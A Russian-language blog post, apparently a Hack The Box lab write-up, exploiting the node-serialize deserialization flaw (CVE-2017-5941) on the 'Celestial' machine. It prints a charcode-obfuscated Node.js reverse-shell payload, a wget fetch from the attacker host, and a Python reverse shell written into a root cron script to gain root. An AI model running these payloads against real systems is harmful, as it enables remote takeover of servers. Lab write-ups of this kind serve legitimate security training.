Pull to refresh

HTB Celestial. Hacking Node Serialize! #мамкинхакер

Цель данной статьи показать эксплуатацию всем известной уязвимости CVE-2017-5941 (node serialize) на примере машины с HTB.

Для успешного прохождения необходимо:

  1. Уметь сканировать порты

  2. Немного знать фичи Burp

  3. Уметь "правильно” гуглить

Все готовы? Тогда поехали...

nmap -A 10.10.10.85

Разведка сразу дает результат. Открыт единственный порт 3000. На нем крутится Node.js. Думаю это знак...

Переходим на этот адрес (10.10.10.85:3000), там нас ждет интересная ошибка.

Поиграем с запросом. Добавим "/" .

10.10.10.85:3000/

Информация изменилась. Смотрим через бурп.

Интересный параметр profile. Декодируем его через бурп.
Используем схему текст -> url -> base64. Получаем запрос!

{"username":"Dummy","country":"Idk Probably Somewhere Dumb","city":"Lametown","num":"2"}

Лезем в интернет...

Переходим по первой ссылке, и там подробно расписана эксплуатация данной уязвимости. Я так же использовал скрипт nodejsshell.py. В качестве параметров задаем порт и ip кали.

python2 nodejsshell.py 10.10.14.4 1234

Добавляю конструкцию в полезную нагрузку
{"rce":"_$$ND_FUNC$$_function (){наш код}()"}
Вообщем получили:

{"rce":"_$$ND_FUNC$$_function (){ eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101,113,117,105,114,101,40,39,110,101,116,39,41,59,10,118,97,114,32,115,112,97,119,110,32,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,115,112,97,119,110,59,10,72,79,83,84,61,34,49,48,46,49,48,46,49,52,46,52,34,59,10,80,79,82,84,61,34,49,50,51,52,34,59,10,84,73,77,69,79,85,84,61,34,53,48,48,48,34,59,10,105,102,32,40,116,121,112,101,111,102,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,61,61,32,39,117,110,100,101,102,105,110,101,100,39,41,32,123,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,32,102,117,110,99,116,105,111,110,40,105,116,41,32,123,32,114,101,116,117,114,110,32,116,104,105,115,46,105,110,100,101,120,79,102,40,105,116,41,32,33,61,32,45,49,59,32,125,59,32,125,10,102,117,110,99,116,105,111,110,32,99,40,72,79,83,84,44,80,79,82,84,41,32,123,10,32,32,32,32,118,97,114,32,99,108,105,101,110,116,32,61,32,110,101,119,32,110,101,116,46,83,111,99,107,101,116,40,41,59,10,32,32,32,32,99,108,105,101,110,116,46,99,111,110,110,101,99,116,40,80,79,82,84,44,32,72,79,83,84,44,32,102,117,110,99,116,105,111,110,40,41,32,123,10,32,32,32,32,32,32,32,32,118,97,114,32,115,104,32,61,32,115,112,97,119,110,40,39,47,98,105,110,47,115,104,39,44,91,93,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,119,114,105,116,101,40,34,67,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,112,105,112,101,40,115,104,46,115,116,100,105,110,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,111,117,116,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,101,114,114,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,111,110,40,39,101,120,105,116,39,44,102,117,110,99,116,105,111,110,40,99,111,100,101,44,115,105,103,110,97,108,41,123,10,32,32,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,101,110,100,40,34,68,105,115,99,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,125,41,59,10,32,32,32,32,125,41,59,10,32,32,32,32,99,108,105,101,110,116,46,111,110,40,39,101,114,114,111,114,39,44,32,102,117,110,99,116,105,111,110,40,101,41,32,123,10,32,32,32,32,32,32,32,32,115,101,116,84,105,109,101,111,117,116,40,99,40,72,79,83,84,44,80,79,82,84,41,44,32,84,73,77,69,79,85,84,41,59,10,32,32,32,32,125,41,59,10,125,10,99,40,72,79,83,84,44,80,79,82,84,41,59,10)) }()"}

Это все в репитор и кодируем через base64 (добавляем в параметр profile).
На кали слушаем.

Получили шел!

Далее все просто:

  1. Перейдем в интерактивную оболочку
    python -c 'import pty;pty.spawn("/bin/bash")'

  2. Поднимем на кали сервер для обмена файлами
    python3 -m http.server 8000

  3. Посмотрим вектор для повышения привилегий linpeas.sh
    (качай по команде wget http://10.10.14.4:8000/linpeas.sh)

После запуска видим, что пользователь sun состоит в группе adm.
Чтение системных логов дает результат.
Скрипт /home/sun/Documents/script.py запускается от рута каждые 5 минут.

Дописываем в этот файл полезную нагрузку для получения шелла.

'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.4",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

Ждем 5 минут, ииии. Рут наш!!!

Спасибо за внимание!

Tags:
Hubs:
You can’t comment this publication because its author is not yet a full member of the community. You will be able to contact the author only after he or she has been invited by someone in the community. Until then, author’s username will be hidden by an alias.